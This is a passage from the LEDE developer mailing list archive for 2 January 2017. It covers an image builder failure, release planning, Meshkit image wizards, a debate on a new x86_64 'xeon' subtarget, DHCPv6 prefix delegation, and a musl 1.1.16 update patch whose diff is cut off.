'/home/emss/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64'
Makefile:196: recipe for target 'image' failed
make: *** [image] Error 2
emss at vmwdebems:~/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64$

lede-imagebuilder-brcm47xx-legacy.Linux-x86_64.tar.xz is Mon Jan 2 
16:40:22 2017 version.

This used to work, any idea, please ?

Regards

?ric Masson



From richb.hanover at gmail.com  Mon Jan  2 08:17:18 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Mon, 2 Jan 2017 11:17:18 -0500
Subject: [LEDE-DEV] Release Planning - Current Status?
Message-ID: <B3085C37-04CF-4E7D-943F-1DBAB593AFB5@gmail.com>

If I remember correctly, there was a window for submitting updates for the initial Release Candidate. Where does that process stand?



From richb.hanover at gmail.com  Mon Jan  2 08:23:53 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Mon, 2 Jan 2017 11:23:53 -0500
Subject: [LEDE-DEV] Draft LEDE home page available
Message-ID: <7F478CB1-AE71-45FD-AEB7-A8C595A95F16@gmail.com>

The website team has been working on the LEDE Project site to prepare it for a blast of new readers who will come when we make the first release. We think it's in pretty good shape, but would welcome comments from the community.

Draft home page: https://lede-project.org/playground/start2

Draft Showcase Page (detailed list of LEDE features, linked from new home page): https://lede-project.org/playground/why_use_lede_full_list

Send comments at: https://forum.lede-project.org/t/new-lede-project-home-page/775/1

Thanks!

Rich

From ufo at rund.freifunk.net  Mon Jan  2 08:57:39 2017
From: ufo at rund.freifunk.net (Ufo)
Date: Mon, 2 Jan 2017 17:57:39 +0100
Subject: [LEDE-DEV] Image Wizard for LEDE?
In-Reply-To: <AM3PR08MB0642F74B96DCDAE1BAA76E8B926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>
References: <3ec3c6c5-d1d4-da32-7615-891f13e78e24@web.de>
 <AM3PR08MB0642A0F21917F77C3770D4DE92680@AM3PR08MB0642.eurprd08.prod.outlook.com>
 <367bf30b-1cc6-dc08-e96e-ac2826cecac6@mein.io>
 <AM3PR08MB0642F74B96DCDAE1BAA76E8B926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>
Message-ID: <586A8683.8020109@rund.freifunk.net>

for "Freifunk Leipzig" we are using Meshkit since years.  yes, its done 
via a VM. We are forced to compile the whole LEDE (or openwrt) by 
ourself every month in order to have ALL packages properly. (f.i. to use 
"luci2" or "rpcd-mod-alfred" or sound-drivers..)

i can recommend using our leipzig one, its almost up-to-date and with LEDE:

http://gadow.freifunk.net:8086/meshkit/

for ar71xx please use target: ar71xx-lede-20161220
for x86/virt testing: x86-lede-20161121
-community: Freifunk-Leipzig (still in usage and tested), best with 
"expert mode"

for package selection the meshkit is very, very nice. you can add 
package-names (f.i. tcpdump-mini) to package-list in expert mode to have 
that package inside the new kompilieded image. so there is no need to 
post-install packages, and the device is pre-configured when flashing 
(or resetting!) a device :-)

video tutorial howto use meshkit (in 60 seconds) 
https://www.youtube.com/watch?v=EnkmHkFE_YQ
video example (with Nanostation M5): 
https://www.youtube.com/watch?v=2tdJcV0NkAw

please test it with devices with  more than 4 MB flash to have complete 
webinterface!
otherwise there is a need for changing package list manually (the image 
would be too big) ..  (delete all lua + "luci-"..... stuff, and add "luci2")

some limitations:
* its mostly used for mesh-devices with OLSR, batman-adv was added 
months ago but you can also try it without mesh-routing (please change 
files in /etc/config afterwards). but there are not presets for that
* the (auto-) update functions of meshkit are not programmed to the end yet
* other freifunk-towns forked this to make package-presets possible. but 
its not gitted upstream yet. (weimarnetz, freifunk berlin, freifunk halle)

some issues:
* "opkg package repository directory management" seems to be changes 
every month with LEDE :-( so you may change it manually when 
post-installation of packages is needed.
* (adv.) LAN-Settings in meshkit are not set for x86-devices, its still 
192.168.1.1 with dhcp by default
* normal lede problem: horst doesnt compile anymore since some weeks: 
https://github.com/br101/horst/issues/64
* problems with newer OLSR jsonplugin: 
https://github.com/openwrt/luci/pull/907 (please help me)
* luci-mod-freifunk: hostname missing: 
https://github.com/openwrt/luci/issues/571
* LEDE new wifi named: "default_radio0 / LEDE" 
https://plan.leipzig.freifunk.net/issues/360
* multicast ping6 doesnt work outgoing anymore (security feature?) 
https://plan.leipzig.freifunk.net/issues/273
* maybe a "normal" problem: channel 1 has less wifi-power than channel 2 
(at least with tplink)

cheers, ufo


p.s.
there are several meshkit instances online, please see official sources 
(instead of forks) here
* https://github.com/freifunk/meshkit
beware, the official freifunk meshkit is outdated! (at least the 
target/kompilats)
* http://meshkit.freifunk.net and http://testing.meshkit.freifunk.net





On 02.01.2017 13:51, Alberto Bursi wrote:
>
> On 01/02/2017 11:23 AM, Jo-Philipp Wich wrote:
>> Hi,
>>
>>> Freifunk (or another german site about wifi) also has a webinterface for
>>> the Image Builder. I would really like to have that too.
>> Count me in, I also support this idea. I can lend a hand with
>> implementing stuff.
>>
>> ~ Jo
>>
> Nice, thanks for the offer. I was planning to try setting it up in a VM
> locally after I finished the automated package list indexing script for
> the wiki (within a month or so).
> I had a look at the docs and it should only need some configuration to
> work for LEDE/OWRT, but since I have yet to try it I don't know if there
> are limitations or issues yet.
>
> If you want to have a look...
>
> This is the site:
> http://imagebuilder.augsburg.freifunk.net/
>
> Source and installation docs are here:
> https://github.com/weimarnetz/meshkit
>
>
>
> -Alberto
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From jo at mein.io  Mon Jan  2 09:01:57 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 18:01:57 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
Message-ID: <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>

Hi,

> The x86/64/config-default is missing the following switches:
> 
> CONFIG_MCORE2=y

That would break support for older x86_64 iirc.

> CONFIG_MDIO=y
> CONFIG_X86_USE_PPRO_CHECKSUM=y

Those can probably go into x86/64 directly, at least I see no reason why
not.

> [...]
> ARCH_SUFFIX is taken from CONFIG_CPU_TYPE, but in my setup that value seems to have been set to ? ? which I can?t say I understand. 

This setting is usually used to denote specific distinct, incompatible
CPU types which belong to the same "arch" e.g. CPU_TYPE:=arm1136j-s vs.
CPU_TYPE:=cortex-a15 which are both ARCH:=arm .


~ Jo


From jo at mein.io  Mon Jan  2 09:08:08 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 18:08:08 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
Message-ID: <7916524a-75ff-e3b7-3336-3a91a2b8a1fe@mein.io>

Hi,

> Pruning useful subtargets to solve a buildbot resource shortage seems
> like taking a sledgehammer to kill a fly.

Saving resources was only one of the considerations to cut back the
amount of sub targets.

The introduction of per-device/per-profile rootfs support in LEDE
allowed us to build images with a different package selection per device
so sub targets that merely selected different kmods become completely
needless.

> Why not instead just add a profile attribute like:
> 
> BUILDBOT_BUILD_ME:=no

Because we want to have complete coverage. Experience has shown that
untested subtargets quickly become stale and broken.

~ Jo



From jo at mein.io  Mon Jan  2 09:10:09 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 18:10:09 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <CAFE24U2GEuCOxDbinJMAEsDozZrNHPZdEb-Co+MBOV8c97Dn6g@mail.gmail.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
 <CAFE24U2GEuCOxDbinJMAEsDozZrNHPZdEb-Co+MBOV8c97Dn6g@mail.gmail.com>
Message-ID: <3c28138e-efd7-0554-7765-4e5ce6ec1ab3@mein.io>

Hi,

> If this is going to be the road we travel down (I'm bikeshedding here)
> wouldn't a  BUILDBOT_INTERVAL:=daily/3d/7d/14d make more sense?

it wouldn't as buildbot activity is distributed randomly and the master
currently lacks suitable scheduling logic to implement such behavior.

Besides that, we're incrementally building anyway already means we'd not
save any resources doing that while adding a huge amount of complexity
to the build scheduling logic.

> We have more then a few full on targets that for the most part are
> much less popular then say ar71xx.

~ Jo


From jo at mein.io  Mon Jan  2 09:23:44 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 18:23:44 +0100
Subject: [LEDE-DEV] Release Planning - Current Status?
In-Reply-To: <B3085C37-04CF-4E7D-943F-1DBAB593AFB5@gmail.com>
References: <B3085C37-04CF-4E7D-943F-1DBAB593AFB5@gmail.com>
Message-ID: <b0b9a931-940f-d775-f0df-30e0d06ffc48@mein.io>

Hi Rich,

there hasn't been much progress on the planning since I didn't follow
any mails for the last week or so :)

I plan to factor in the various suggestions into the roadmap I initially
posted and put the result into the wiki tomorrow.

The idea is to have a definitive timeline until Friday so we can start
branching and preparing builds.

I'm not totally sure whether we want to have a distinct RC phase (as in
tagging RCs). The pre-release branch build artifacts can serve the same
purpose and are reasonably stable - there should be no incompatible
kmods every 24h in contrast to master builds as the kernel config will
likely remain the same unless we really need to fix something there.

~ Jo


From philipp_subx at redfish-solutions.com  Mon Jan  2 10:36:58 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 11:36:58 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
Message-ID: <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>


> On Jan 2, 2017, at 10:01 AM, Jo-Philipp Wich <jo at mein.io> wrote:
> 
> Hi,
> 
>> The x86/64/config-default is missing the following switches:
>> 
>> CONFIG_MCORE2=y
> 
> That would break support for older x86_64 iirc.
> 
>> CONFIG_MDIO=y
>> CONFIG_X86_USE_PPRO_CHECKSUM=y
> 
> Those can probably go into x86/64 directly, at least I see no reason why
> not.
> 
>> [...]
>> ARCH_SUFFIX is taken from CONFIG_CPU_TYPE, but in my setup that value seems to have been set to ? ? which I can?t say I understand. 
> 
> This setting is usually used to denote specific distinct, incompatible
> CPU types which belong to the same "arch" e.g. CPU_TYPE:=arm1136j-s vs.
> CPU_TYPE:=cortex-a15 which are both ARCH:=arm .
> 
> 
> ~ Jo


Right, this is why I?m trying to create a new target (or subtarget) called ?xeon? which is optimized for Xeon targets and leverages the on-chip crypto-accelerators.

We?ve come a long way since the Athalon-64 (k8) in 2004.

-Philip



From philipp at redfish-solutions.com  Mon Jan  2 10:37:58 2017
From: philipp at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 11:37:58 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <7916524a-75ff-e3b7-3336-3a91a2b8a1fe@mein.io>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
 <7916524a-75ff-e3b7-3336-3a91a2b8a1fe@mein.io>
Message-ID: <DFDBCE3D-D36A-48A9-91C5-DF7C1489EEC5@redfish-solutions.com>


> On Jan 2, 2017, at 10:08 AM, Jo-Philipp Wich <jo at mein.io> wrote:
> 
>> Why not instead just add a profile attribute like:
>> 
>> BUILDBOT_BUILD_ME:=no
> 
> Because we want to have complete coverage. Experience has shown that
> untested subtargets quickly become stale and broken.
> 
> ~ Jo


Then we need more buildbot resources, not fewer targets?

-Philip



From dave.taht at gmail.com  Mon Jan  2 11:02:12 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Mon, 2 Jan 2017 11:02:12 -0800
Subject: [LEDE-DEV] dhcpv6-pd subnet allocation?
Message-ID: <CAA93jw6-x7_mrP9koEez85v-XP_rNNO9cJQE9oTAVcBioO7W2w@mail.gmail.com>

1) In a topology like this:

ISP
 |
routerA
 |
routerB
 |
routerC

what options now exist in lede for getting an ipv6 subnet to routerC
from routerA after being provided by the ISP? (the basic PD allocation
from ISP to A seems to work)

Can routerB get one from routerA, then C from B?

dhcp-pd?
hncpd?
shcncpd?
wget?

2) I'd like to be able to toss a dhcp address allocation into its own
routing table
(having some trouble with default routes) - according to this

https://lists.openwrt.org/pipermail/openwrt-devel/2015-September/036212.html

        option ipv4table 16

is the way? (cause ip route show table 16 shows nothing)

config interface 'wan'
        option ifname 'eth0'
        option proto 'dhcp'
        option defaultroute '0'
        option ipv4table 16





-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From philipp_subx at redfish-solutions.com  Mon Jan  2 11:54:04 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 12:54:04 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
Message-ID: <F16EC538-0C16-4E62-B116-E362F7D64329@redfish-solutions.com>


> On Dec 31, 2016, at 6:23 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
> 
> There?s a test for ?ifeq ($(ARCH),i386) ? endif? but I don?t see code for x86_64.  Do we need something like:
> 
> diff --git a/include/target.mk b/include/target.mk
> index 8211ba0..5e3aae6 100644
> --- a/include/target.mk
> +++ b/include/target.mk
> @@ -227,6 +227,13 @@ ifeq ($(DUMP),1)
>     CPU_CFLAGS_pentium4 = -march=pentium4
>     CPU_CFLAGS_geode = -march=geode -mmmx -m3dnow
>   endif
> +  ifeq ($(ARCH),x86_64)
> +    CPU_TYPE ?= k8
> +    CPU_CFLAGS_k8 = -march=k8
> +    CPU_CFLAGS_core2 = -march=core2+crypto
> +    CPU_CFLAGS_i7 = -march=corei7
> +    CPU_CFLAGS_atom64 = -march=atom
> +  endif
>   ifneq ($(findstring arm,$(ARCH)),)
>     CPU_TYPE ?= xscale
>     CPU_CFLAGS_arm920t = -march=armv4t -mtune=arm920t


Actually, I tested this and it doesn?t quite work.

Tried to do some digging:


philip at ubuntu:~/bertram/bmu-philip/openwrt$ make -j1 target/linux/clean V=s DUMP=1
/bin/sh: 1: mindepth: not found
Collecting package info: doneing...
/bin/sh: 1: mindepth: not found
Collecting target info: doneing...
make: *** prereq: No such file or directory.  Stop.
make[4]: *** [prereq] Error 2
make[3]: *** [target/linux/prereq] Error 2
make[2]: *** [/home/philip/bertram/bmu-philip/openwrt/staging_dir/target-_-/stamp/.target_prereq] Error 2
make[1]: *** [prereq] Error 2
make: *** [target/linux/clean] Error 2
philip at ubuntu:~/bertram/bmu-philip/openwrt$


Okay, so that didn?t work?  So I try to write out $(ARCH) from inside include/target.mk and it looks like it?s set to ?arm? even though I?m building the x86/64 target.


philip at ubuntu:~/bertram/bmu-philip/openwrt$ grep '^CONFIG_' .config | head
CONFIG_MODULES=y
CONFIG_HAVE_DOT_CONFIG=y
CONFIG_TARGET_x86=y
CONFIG_TARGET_x86_64=y
CONFIG_TARGET_x86_64_Generic=y
CONFIG_HAS_SUBTARGETS=y
CONFIG_TARGET_BOARD="x86"
CONFIG_TARGET_SUBTARGET="64"
CONFIG_TARGET_ARCH_PACKAGES="x86_64"
CONFIG_DEFAULT_TARGET_OPTIMIZATION="-Os -pipe"
philip at ubuntu:~/bertram/bmu-philip/openwrt$


so I don?t know how to go about root-causing this.

Is there an easy way to see what the target-related settings are from within include/target.mk?

Maybe add a target/xyzzy which writes to stdout all the settings?

-Philip



From s.l-h at gmx.de  Mon Jan  2 12:05:06 2017
From: s.l-h at gmx.de (Stefan Lippers-Hollmann)
Date: Mon, 2 Jan 2017 21:05:06 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
Message-ID: <20170102210506.23ff28ad@mir>

Hi

On 2017-01-02, Philip Prindeville wrote:
> > On Jan 2, 2017, at 10:01 AM, Jo-Philipp Wich <jo at mein.io> wrote:
> > 
> > Hi,
> >   
> >> The x86/64/config-default is missing the following switches:
> >> 
> >> CONFIG_MCORE2=y  
[...]
> Right, this is why I?m trying to create a new target (or subtarget) called ?xeon? which is optimized for Xeon targets and leverages the on-chip crypto-accelerators.

This is just an optimization, but not actually needed to get the
firmware running on your target CPU. While it may, or may not, provide
measurable speedups, none of the large(r) binary distros consider this
to be a necessary optimization, so why do you think it's necessary to
provide just this tiny micro-optimization as a dedicated subtarget with
all the overhead this entails - rather than just using as a local 
configuration for your own builds?

> We?ve come a long way since the Athalon-64 (k8) in 2004.

The situation on amd64/ x86_64 is quite a bit better than on i[3456]86,
probably very little actually makes a difference for routing tasks
(this could be different if LEDE would be a common basis for image
or video transcoding, but I seriously doubt that optimizing for core2
would actually make a significant difference on a router, especially
considering that pretty much any amd64/ x86_64 CPU[1] is way more 
powerful than any of the more prevalent routing architectures). I think 
it would be useful to actually show the difference your change makes on 
modern CPUs, before proactively introducing new subtargets for cosmetic 
reasons.

Regards
	Stefan Lippers-Hollmann

[1]	I'm quite convinced that even a 2003 vintage AMD64 Opteron from
	the first generation sledgehammer design wouldn't find its 
	limitations on the CPU side (unless you go beyond 1 GBit/s), but
	rather on the bus connection of your ethernet cards (old PCI 
	won't saturate a 1 GBit/s link).
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 833 bytes
Desc: Digitale Signatur von OpenPGP
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170102/ffb94716/attachment.sig>

From alberto.bursi at outlook.it  Mon Jan  2 12:38:03 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Mon, 2 Jan 2017 20:38:03 +0000
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
Message-ID: <AM3PR08MB06420891D33025E3F4E2FB62926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>



On 01/02/2017 07:36 PM, Philip Prindeville wrote:
>
>
> Right, this is why I?m trying to create a new target (or subtarget) called ?xeon? which is optimized for Xeon targets and leverages the on-chip crypto-accelerators.
>
> We?ve come a long way since the Athalon-64 (k8) in 2004.
>
> -Philip
>

Wait a sec, what you mean exactly for "on chip crypto accelerators"?
If you mean AES-NI there was already a discussion about that in the 
mailing list, see here 
http://lists.infradead.org/pipermail/lede-dev/2016-October/003545.html

-Alberto

From nbd at nbd.name  Mon Jan  2 14:06:50 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 2 Jan 2017 23:06:50 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
Message-ID: <84956450-1741-311f-6245-a94d697a3199@nbd.name>

On 2017-01-02 19:36, Philip Prindeville wrote:
> Right, this is why I?m trying to create a new target (or subtarget)
> called ?xeon? which is optimized for Xeon targets and leverages the
> on-chip crypto-accelerators.
> 
> We?ve come a long way since the Athalon-64 (k8) in 2004.
I think it should be easily possible to enable the crypto accelerator
support by default, it probably gets enabled only on CPUs that actually
support it.

If you still want to add a subtarget to use different CFLAGS, you need
to prove (with hard numbers) that it has a meaningful impact and is more
than just a potentially pointless micro-optimization.

- Felix


From chunkeey at googlemail.com  Mon Jan  2 14:22:57 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Mon,  2 Jan 2017 23:22:57 +0100
Subject: [PATCH] musl: update musl to 1.1.16 and switch to download from git
Message-ID: <20170102222257.19563-1-chunkeey@googlemail.com>

This patch updates musl to 1.1.16 [0] and removes all the
backported patches. This is a major release and tagged as such.
For more information visit musl-libc.org or read the WHATSNEW.

Furthermore, this patch also changes musl to download directly
from git. This makes it easier to update musl in the future.
This has also an effect on the cached copy of musl in the dl/
directory, from now on, it's a tar.xz.

[0] <http://git.musl-libc.org/cgit/musl/commit/?id=8fe1f2d79b275b7f7fb0d41c99e379357df63cd9>

Signed-off-by: Christian Lamparter <chunkeey at googlemail.com>
---
No idea, if you want to fudge that in for the upcoming release or
not. A few 4.9 ABI changes could break a few things... This can
be a problem for some packages in the feeds or architectures.
---
 toolchain/musl/Config.version                      |   2 +-
 toolchain/musl/common.mk                           |   8 +-
 ...ime-day-month-names-not-to-vary-by-locale.patch |  41 ---
 ...regression-in-tcsetattr-on-all-mips-archs.patch |  67 ----
 ...d-pwrite-syscall-calling-convention-on-sh.patch |  71 ----
 ...ttyname-refers-to-the-same-file-as-the-fd.patch |  49 ---
 .../025-fix-ffsync-by-changing-it-to-osync.patch   |  25 --
 ...-alt-form-octal-zero-flag-and-field-width.patch |  31 --
 ...-ifru_data-and-ifcu_buf-types-in-net-if.h.patch |  35 --
 .../030-fix-if_indextoname-error-case.patch        |  36 --
 ...and-wcsftime_l-prototypes-to-wchar-header.patch |  38 --
 ...fined-behavior-in-sched.h-cpu_set_t-usage.patch |  43 ---
 ...getservby_r-result-pointer-value-on-error.patch |  41 ---
 .../036-fix-strftime-y-for-negative-tm_year.patch  |  23 --
 ...hecks-in-regexec-buffer-size-computations.patch |  72 ----
 ...with-haystack-strings-longer-than-int_max.patch | 189 ----------
 ...float-printf-needed-precision-computation.patch |  35 --
 ...ows-and-uncaught-eoverflow-in-printf-core.patch | 390 ---------------------
 .../patches/048-math-fix-pow-signed-shift-ub.patch |  38 --
 .../049-fix-clock_nanosleep-error-case.patch       |  30 --
 .../musl/patches/050-add-pthread_setname_np.patch  |  58 ---
 ...at-formatting-of-some-exact-halfway-cases.patch |  30 --
 ...pt_long_only-misinterpreting-as-an-option.patch |  24 --
 ...gratuitous-undefined-behavior-in-strptime.patch |  33 --
 ...-strtof-rounding-with-many-trailing-zeros.patch |  36 --
 ...optimization-in-non-nearest-rounding-mode.patch |  38 --
 ...teger-overflow-of-tm_year-in-__secs_to_tm.patch |  39 ---
 ...-internal-buffer-state-and-error-handling.patch |  36 --
 ...gression-on-archs-with-variable-page-size.patch |  32 --
 ...t-attribute-to-some-function-declarations.patch | 197 -----------
 .../musl/patches/400-fix_quoted_timezone.patch     |  11 -
 31 files changed, 6 insertions(+), 1792 deletions(-)
 delete mode 100644 toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
 delete mode 100644 toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
 delete mode 100644 toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
 delete mode 100644 toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
 delete mode 100644 toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
 delete mode 100644 toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
 delete mode 100644 toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
 delete mode 100644 toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
 delete mode 100644 toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
 delete mode 100644 toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
 delete mode 100644 toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
 delete mode 100644 toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
 delete mode 100644 toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
 delete mode 100644 toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
 delete mode 100644 toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
 delete mode 100644 toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
 delete mode 100644 toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
 delete mode 100644 toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
 delete mode 100644 toolchain/musl/patches/050-add-pthread_setname_np.patch
 delete mode 100644 toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
 delete mode 100644 toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
 delete mode 100644 toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
 delete mode 100644 toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
 delete mode 100644 toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
 delete mode 100644 toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
 delete mode 100644 toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
 delete mode 100644 toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
 delete mode 100644 toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
 delete mode 100644 toolchain/musl/patches/400-fix_quoted_timezone.patch

diff --git a/toolchain/musl/Config.version b/toolchain/musl/Config.version
index 537f3d834b..2b4b367d97 100644
--- a/toolchain/musl/Config.version
+++ b/toolchain/musl/Config.version
@@ -3,6 +3,6 @@ if USE_MUSL
 config MUSL_VERSION
 	string
 	depends on USE_MUSL
-	default "1.1.15"
+	default "1.1.16"
 
 endif
diff --git a/toolchain/musl/common.mk b/toolchain/musl/common.mk
index 9f3f7add4d..d2973495ce 100644
--- a/toolchain/musl/common.mk
+++ b/toolchain/musl/common.mk
@@ -11,10 +11,12 @@ PKG_NAME:=musl
